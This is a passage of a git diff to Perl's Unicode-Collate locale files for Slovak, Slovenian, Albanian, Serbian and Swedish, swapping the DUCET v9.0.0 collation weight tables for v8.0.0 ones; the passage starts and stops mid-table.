ANUSVARAYA +0D83 ; [.2853.0020.0002][.FFF2.0000.0000] # SINHALA SIGN VISARGAYA +0D96 ; [.2853.0020.0002][.FFF0.0000.0000] # SINHALA LETTER AUYANNA +0DA5 ; [.285C.0020.0002][.288E.0020.0002][.285E.0021.0002] # SINHALA LETTER TAALUJA SANYOOGA NAAKSIKYAYA ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/sk.pl b/cpan/Unicode-Collate/Collate/Locale/sk.pl index 9d319c99f03f..a6c91d5d9b8e 100644 --- a/cpan/Unicode-Collate/Collate/Locale/sk.pl +++ b/cpan/Unicode-Collate/Collate/Locale/sk.pl @@ -1,45 +1,45 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -00E4 ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS -0061 0308 ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS -00C4 ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS -0041 0308 ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS -01DF ; [.1C48.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON -01DE ; [.1C48.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON -010D ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CARON -0063 030C ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CARON -010C ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CARON -0043 030C ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CARON -0063 0068 ; [.1D19.0020.0002] # -0063 0048 ; [.1D19.0020.0007][.0000.0000.0002] # -0043 0068 ; [.1D19.0020.0007][.0000.0000.0008] # -0043 0048 ; [.1D19.0020.0008] # -00F4 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX -006F 0302 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX -00D4 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX -004F 0302 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX -1ED3 ; [.1DDE.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE -1ED2 ; [.1DDE.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE -1ED1 ; [.1DDE.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE -1ED0 ; [.1DDE.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE -1ED7 ; [.1DDE.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE -1ED6 ; [.1DDE.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE -1ED5 ; [.1DDE.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE -1ED4 ; [.1DDE.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE -1ED9 ; [.1DDE.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW -1ED8 ; [.1DDE.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW -0159 ; [.1E34.0020.0002] # LATIN SMALL LETTER R WITH CARON -0072 030C ; [.1E34.0020.0002] # LATIN SMALL LETTER R WITH CARON -0158 ; [.1E34.0020.0008] # LATIN CAPITAL LETTER R WITH CARON -0052 030C ; [.1E34.0020.0008] # LATIN CAPITAL LETTER R WITH CARON -0161 ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON -0073 030C ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON -0160 ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON -0053 030C ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON -017E ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH CARON -007A 030C ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH CARON -017D ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON -005A 030C ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +00E4 ; [.1BC3.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS +0061 0308 ; [.1BC3.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS +00C4 ; [.1BC3.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS +0041 0308 ; [.1BC3.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS +01DF ; [.1BC3.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON +01DE ; [.1BC3.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON +010D ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH CARON +0063 030C ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH CARON +010C ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH CARON +0043 030C ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH CARON +0063 0068 ; [.1C94.0020.0002] # +0063 0048 ; [.1C94.0020.0007][.0000.0000.0002] # +0043 0068 ; [.1C94.0020.0007][.0000.0000.0008] # +0043 0048 ; [.1C94.0020.0008] # +00F4 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX +006F 0302 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX +00D4 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX +004F 0302 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX +1ED3 ; [.1D59.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE +1ED2 ; [.1D59.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE +1ED1 ; [.1D59.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE +1ED0 ; [.1D59.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE +1ED7 ; [.1D59.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE +1ED6 ; [.1D59.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE +1ED5 ; [.1D59.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE +1ED4 ; [.1D59.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE +1ED9 ; [.1D59.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW +1ED8 ; [.1D59.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW +0159 ; [.1DAF.0020.0002] # LATIN SMALL LETTER R WITH CARON +0072 030C ; [.1DAF.0020.0002] # LATIN SMALL LETTER R WITH CARON +0158 ; [.1DAF.0020.0008] # LATIN CAPITAL LETTER R WITH CARON +0052 030C ; [.1DAF.0020.0008] # LATIN CAPITAL LETTER R WITH CARON +0161 ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CARON +0073 030C ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CARON +0160 ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CARON +0053 030C ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CARON +017E ; [.1E9D.0020.0002] # LATIN SMALL LETTER Z WITH CARON +007A 030C ; [.1E9D.0020.0002] # LATIN SMALL LETTER Z WITH CARON +017D ; [.1E9D.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON +005A 030C ; [.1E9D.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/sl.pl b/cpan/Unicode-Collate/Collate/Locale/sl.pl index 70c4522dc806..4209c38789c1 100644 --- a/cpan/Unicode-Collate/Collate/Locale/sl.pl +++ b/cpan/Unicode-Collate/Collate/Locale/sl.pl @@ -1,17 +1,17 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -010D ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CARON -0063 030C ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CARON -010C ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CARON -0043 030C ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CARON -0161 ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON -0073 030C ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON -0160 ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON -0053 030C ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON -017E ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH CARON -007A 030C ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH CARON -017D ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON -005A 030C ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +010D ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH CARON +0063 030C ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH CARON +010C ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH CARON +0043 030C ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH CARON +0161 ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CARON +0073 030C ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CARON +0160 ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CARON +0053 030C ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CARON +017E ; [.1E9D.0020.0002] # LATIN SMALL LETTER Z WITH CARON +007A 030C ; [.1E9D.0020.0002] # LATIN SMALL LETTER Z WITH CARON +017D ; [.1E9D.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON +005A 030C ; [.1E9D.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/sq.pl b/cpan/Unicode-Collate/Collate/Locale/sq.pl index fc89269a88a6..9a10b102e06f 100644 --- a/cpan/Unicode-Collate/Collate/Locale/sq.pl +++ b/cpan/Unicode-Collate/Collate/Locale/sq.pl @@ -1,49 +1,49 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -00E7 ; [.1C8E.0020.0002] # LATIN SMALL LETTER C WITH CEDILLA -0063 0327 ; [.1C8E.0020.0002] # LATIN SMALL LETTER C WITH CEDILLA -00C7 ; [.1C8E.0020.0008] # LATIN CAPITAL LETTER C WITH CEDILLA -0043 0327 ; [.1C8E.0020.0008] # LATIN CAPITAL LETTER C WITH CEDILLA -0064 0068 ; [.1CA9.0020.0002] # -0064 0048 ; [.1CA9.0020.0007][.0000.0000.0002] # -0044 0068 ; [.1CA9.0020.0007][.0000.0000.0008] # -0044 0048 ; [.1CA9.0020.0008] # -00EB ; [.1CE4.0020.0002] # LATIN SMALL LETTER E WITH DIAERESIS -0065 0308 ; [.1CE4.0020.0002] # LATIN SMALL LETTER E WITH DIAERESIS -00CB ; [.1CE4.0020.0008] # LATIN CAPITAL LETTER E WITH DIAERESIS -0045 0308 ; [.1CE4.0020.0008] # LATIN CAPITAL LETTER E WITH DIAERESIS -0067 006A ; [.1D17.0020.0002] # -0067 004A ; [.1D17.0020.0007][.0000.0000.0002] # -0047 006A ; [.1D17.0020.0007][.0000.0000.0008] # -0047 004A ; [.1D17.0020.0008] # -006C 006C ; [.1DA9.0020.0002] # -006C 004C ; [.1DA9.0020.0007][.0000.0000.0002] # -004C 006C ; [.1DA9.0020.0007][.0000.0000.0008] # -004C 004C ; [.1DA9.0020.0008] # -006E 006A ; [.1DDC.0020.0002] # -006E 004A ; [.1DDC.0020.0007][.0000.0000.0002] # -004E 006A ; [.1DDC.0020.0007][.0000.0000.0008] # -004E 004A ; [.1DDC.0020.0008] # -0072 0072 ; [.1E70.0020.0002] # -0072 0052 ; [.1E70.0020.0007][.0000.0000.0002] # -0052 0072 ; [.1E70.0020.0007][.0000.0000.0008] # -0052 0052 ; [.1E70.0020.0008] # -0073 0068 ; [.1E94.0020.0002] # -0073 0048 ; [.1E94.0020.0007][.0000.0000.0002] # -0053 0068 ; [.1E94.0020.0007][.0000.0000.0008] # -0053 0048 ; [.1E94.0020.0008] # -0074 0068 ; [.1EB4.0020.0002] # -0074 0048 ; [.1EB4.0020.0007][.0000.0000.0002] # -0054 0068 ; [.1EB4.0020.0007][.0000.0000.0008] # -0054 0048 ; [.1EB4.0020.0008] # -0078 0068 ; [.1F0A.0020.0002] # -0078 0048 ; [.1F0A.0020.0007][.0000.0000.0002] # -0058 0068 ; [.1F0A.0020.0007][.0000.0000.0008] # -0058 0048 ; [.1F0A.0020.0008] # -007A 0068 ; [.1F3D.0020.0002] # -007A 0048 ; [.1F3D.0020.0007][.0000.0000.0002] # -005A 0068 ; [.1F3D.0020.0007][.0000.0000.0008] # -005A 0048 ; [.1F3D.0020.0008] # + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +00E7 ; [.1C09.0020.0002] # LATIN SMALL LETTER C WITH CEDILLA +0063 0327 ; [.1C09.0020.0002] # LATIN SMALL LETTER C WITH CEDILLA +00C7 ; [.1C09.0020.0008] # LATIN CAPITAL LETTER C WITH CEDILLA +0043 0327 ; [.1C09.0020.0008] # LATIN CAPITAL LETTER C WITH CEDILLA +0064 0068 ; [.1C24.0020.0002] # +0064 0048 ; [.1C24.0020.0007][.0000.0000.0002] # +0044 0068 ; [.1C24.0020.0007][.0000.0000.0008] # +0044 0048 ; [.1C24.0020.0008] # +00EB ; [.1C5F.0020.0002] # LATIN SMALL LETTER E WITH DIAERESIS +0065 0308 ; [.1C5F.0020.0002] # LATIN SMALL LETTER E WITH DIAERESIS +00CB ; [.1C5F.0020.0008] # LATIN CAPITAL LETTER E WITH DIAERESIS +0045 0308 ; [.1C5F.0020.0008] # LATIN CAPITAL LETTER E WITH DIAERESIS +0067 006A ; [.1C92.0020.0002] # +0067 004A ; [.1C92.0020.0007][.0000.0000.0002] # +0047 006A ; [.1C92.0020.0007][.0000.0000.0008] # +0047 004A ; [.1C92.0020.0008] # +006C 006C ; [.1D24.0020.0002] # +006C 004C ; [.1D24.0020.0007][.0000.0000.0002] # +004C 006C ; [.1D24.0020.0007][.0000.0000.0008] # +004C 004C ; [.1D24.0020.0008] # +006E 006A ; [.1D57.0020.0002] # +006E 004A ; [.1D57.0020.0007][.0000.0000.0002] # +004E 006A ; [.1D57.0020.0007][.0000.0000.0008] # +004E 004A ; [.1D57.0020.0008] # +0072 0072 ; [.1DEB.0020.0002] # +0072 0052 ; [.1DEB.0020.0007][.0000.0000.0002] # +0052 0072 ; [.1DEB.0020.0007][.0000.0000.0008] # +0052 0052 ; [.1DEB.0020.0008] # +0073 0068 ; [.1E0F.0020.0002] # +0073 0048 ; [.1E0F.0020.0007][.0000.0000.0002] # +0053 0068 ; [.1E0F.0020.0007][.0000.0000.0008] # +0053 0048 ; [.1E0F.0020.0008] # +0074 0068 ; [.1E2F.0020.0002] # +0074 0048 ; [.1E2F.0020.0007][.0000.0000.0002] # +0054 0068 ; [.1E2F.0020.0007][.0000.0000.0008] # +0054 0048 ; [.1E2F.0020.0008] # +0078 0068 ; [.1E85.0020.0002] # +0078 0048 ; [.1E85.0020.0007][.0000.0000.0002] # +0058 0068 ; [.1E85.0020.0007][.0000.0000.0008] # +0058 0048 ; [.1E85.0020.0008] # +007A 0068 ; [.1EB8.0020.0002] # +007A 0048 ; [.1EB8.0020.0007][.0000.0000.0002] # +005A 0068 ; [.1EB8.0020.0007][.0000.0000.0008] # +005A 0048 ; [.1EB8.0020.0008] # ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/sr.pl b/cpan/Unicode-Collate/Collate/Locale/sr.pl index 2e50496567df..9658402b01a8 100644 --- a/cpan/Unicode-Collate/Collate/Locale/sr.pl +++ b/cpan/Unicode-Collate/Collate/Locale/sr.pl @@ -1,8 +1,8 @@ +{ - locale_version => 1.25, + locale_version => 1.19, suppress => [0x0418, 0x0438], - entry => <<'ENTRY', # for DUCET v9.0.0 -0439 ; [.2080.0020.0002][.0000.0026.0002] # CYRILLIC SMALL LETTER SHORT I -0419 ; [.2080.0020.0008][.0000.0026.0002] # CYRILLIC CAPITAL LETTER SHORT I + entry => <<'ENTRY', # for DUCET v8.0.0 +0439 ; [.1FFB.0020.0002][.0000.0026.0002] # CYRILLIC SMALL LETTER SHORT I +0419 ; [.1FFB.0020.0008][.0000.0026.0002] # CYRILLIC CAPITAL LETTER SHORT I ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/sv.pl b/cpan/Unicode-Collate/Collate/Locale/sv.pl index 13f78055e4e7..361251ba9ec6 100644 --- a/cpan/Unicode-Collate/Collate/Locale/sv.pl +++ b/cpan/Unicode-Collate/Collate/Locale/sv.pl @@ -1,89 +1,89 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0111 ; [.1C8F.0021.0002] # LATIN SMALL LETTER D WITH STROKE -0064 0335 ; [.1C8F.0021.0002] # LATIN SMALL LETTER D WITH STROKE -0110 ; [.1C8F.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE -0044 0335 ; [.1C8F.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE -00F0 ; [.1C8F.0022.0002] # LATIN SMALL LETTER ETH -1DD9 ; [.1C8F.0022.0002] # COMBINING LATIN SMALL LETTER ETH -00D0 ; [.1C8F.0022.0008] # LATIN CAPITAL LETTER ETH -00FE ; [.1E95.0020.0003][.1D18.0020.0003] # LATIN SMALL LETTER THORN -00DE ; [.1E95.0020.0009][.1D18.0020.0009] # LATIN CAPITAL LETTER THORN -0077 ; [.1EE3.0021.0002] # LATIN SMALL LETTER W -0057 ; [.1EE3.0021.0008] # LATIN CAPITAL LETTER W -00FC ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS -0075 0308 ; [.1F0B.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS -00DC ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -0055 0308 ; [.1F0B.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS -01DC ; [.1F0B.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE -01DB ; [.1F0B.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE -01D8 ; [.1F0B.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE -01D7 ; [.1F0B.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE -01D6 ; [.1F0B.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON -01D5 ; [.1F0B.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON -01DA ; [.1F0B.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON -01D9 ; [.1F0B.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON -0171 ; [.1F0B.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE -0075 030B ; [.1F0B.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE -0170 ; [.1F0B.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE -0055 030B ; [.1F0B.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE -00E5 ; [.1F96.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE -0061 030A ; [.1F96.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE -00C5 ; [.1F96.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE -0041 030A ; [.1F96.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE -212B ; [.1F96.0020.0008] # ANGSTROM SIGN -01FB ; [.1F96.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE -01FA ; [.1F96.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE -00E4 ; [.1F97.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS -0061 0308 ; [.1F97.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS -00C4 ; [.1F97.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS -0041 0308 ; [.1F97.0020.0008] # LATIN CAPITAL LETTER A WITH DIAERESIS -01DF ; [.1F97.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER A WITH DIAERESIS AND MACRON -01DE ; [.1F97.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER A WITH DIAERESIS AND MACRON -00E6 ; [.1F97.0021.0002] # LATIN SMALL LETTER AE -1DD4 ; [.1F97.0021.0002] # COMBINING LATIN SMALL LETTER AE -00C6 ; [.1F97.0021.0008] # LATIN CAPITAL LETTER AE -1D2D ; [.1F97.0021.0014] # MODIFIER LETTER CAPITAL AE -01FD ; [.1F97.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER AE WITH ACUTE -01FC ; [.1F97.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER AE WITH ACUTE -01E3 ; [.1F97.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER AE WITH MACRON -01E2 ; [.1F97.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER AE WITH MACRON -0119 ; [.1F97.0022.0002] # LATIN SMALL LETTER E WITH OGONEK -0065 0328 ; [.1F97.0022.0002] # LATIN SMALL LETTER E WITH OGONEK -0118 ; [.1F97.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK -0045 0328 ; [.1F97.0022.0008] # LATIN CAPITAL LETTER E WITH OGONEK -00F6 ; [.1F98.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS -006F 0308 ; [.1F98.0020.0002] # LATIN SMALL LETTER O WITH DIAERESIS -00D6 ; [.1F98.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -004F 0308 ; [.1F98.0020.0008] # LATIN CAPITAL LETTER O WITH DIAERESIS -022B ; [.1F98.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON -022A ; [.1F98.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON -00F8 ; [.1F98.0021.0002] # LATIN SMALL LETTER O WITH STROKE -006F 0338 ; [.1F98.0021.0002] # LATIN SMALL LETTER O WITH STROKE -00D8 ; [.1F98.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE -004F 0338 ; [.1F98.0021.0008] # LATIN CAPITAL LETTER O WITH STROKE -01FF ; [.1F98.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE -01FE ; [.1F98.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE -0151 ; [.1F98.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE -006F 030B ; [.1F98.0022.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE -0150 ; [.1F98.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE -004F 030B ; [.1F98.0022.0008] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE -0153 ; [.1F98.0023.0002] # LATIN SMALL LIGATURE OE -0152 ; [.1F98.0023.0008] # LATIN CAPITAL LIGATURE OE -00F4 ; [.1F98.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX -006F 0302 ; [.1F98.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX -00D4 ; [.1F98.0024.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX -004F 0302 ; [.1F98.0024.0008] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX -1ED3 ; [.1F98.0024.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE -1ED2 ; [.1F98.0024.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE -1ED1 ; [.1F98.0024.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE -1ED0 ; [.1F98.0024.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE -1ED7 ; [.1F98.0024.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE -1ED6 ; [.1F98.0024.0008][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE -1ED5 ; [.1F98.0024.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE -1ED4 ; [.1F98.0024.0008][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE -1ED9 ; [.1F98.0024.0002][.0000.0042.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW -1ED8 ; [.1F98.0024.0008][.0000.0042.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0111 ; [.1C0A.0021.0002] # LATIN SMALL LETTER D WITH STROKE +0064 0335 ; [.1C0A.0021.0002] # LATIN SMALL LETTER D WITH STROKE +0110 ; [.1C0A.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE +0044 0335 ; [.1C0A.0021.0008] # LATIN CAPITAL LETTER D WITH STROKE +00F0 ; [.1C0A.0022.0002] # LATIN SMALL LETTER ETH +1DD9 ; [.1C0A.0022.0002] # COMBINING LATIN SMALL LETTER ETH +00D0 ; [.1C0A.0022.0008] # LATIN CAPITAL LETTER ETH +00FE ; [.1E10.0020.0003][.1C93.0020.0003] # LATIN SMALL LETTER THORN +00DE ; [.1E10.0020.0009][.1C93.0020.0009] # LATIN CAPITAL LETTER THORN +0077 ; [.1E5E.0021.0002] # LATIN SMALL LETTER W +0057 ; [.1E5E.0021.0008] # LATIN CAPITAL LETTER W +00FC ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS +0075 0308 ; [.1E86.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS +00DC ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +0055 0308 ; [.1E86.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS +01DC ; [.1E86.0021.0002][.0000.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE +01DB ; [.1E86.0021.0008][.0000.0025.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE +01D8 ; [.1E86.0021.0002][.0000.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE +01D7 ; [.1E86.0021.0008][.0000.0024.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE +01D6 ; [.1E86.0021.0002][.0000.0032.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON +01D5 ; [.1E86.0021.0008][.0000.0032.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON +01DA ; [.1E86.0021.0002][.0000.0028.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON +01D9 ; [.1E86.0021.0008][.0000.0028.0002] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON +0171 ; [.1E86.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE +0075 030B ; [.1E86.0022.0002] # LATIN SMALL LETTER U WITH DOUBLE ACUTE +0170 ; [.1E86.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE +0055 030B ; [.1E86.0022.0008] # LATIN CAPITAL LETTER U WITH DOUBLE ACUTE +00E5 ; [.1F11.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE +0061 030A ; [.1F11.0020.0002] # LATIN SMALL LETTER A WITH RING ABOVE +00C5 ; [.1F11.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE +0041 030A ; [.1F11.0020.0008] # LATIN CAPITAL LETTER A WITH RING ABOVE +212B ; [.1F11.0020.0008] # ANGSTROM SIGN +01FB ; [.1F11.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH RING ABOVE AND ACUTE +01FA ; [.1F11.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH RING ABOVE AND ACUTE +00E4 ; [.1F12.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS +0061 0308 ; [.1F12.0020.0002] # LATIN SMALL LETTER A WITH DIAERESIS +00C4 ; [.1F12.0020.0008] # LATIN CAPITAL LETTER A WITH 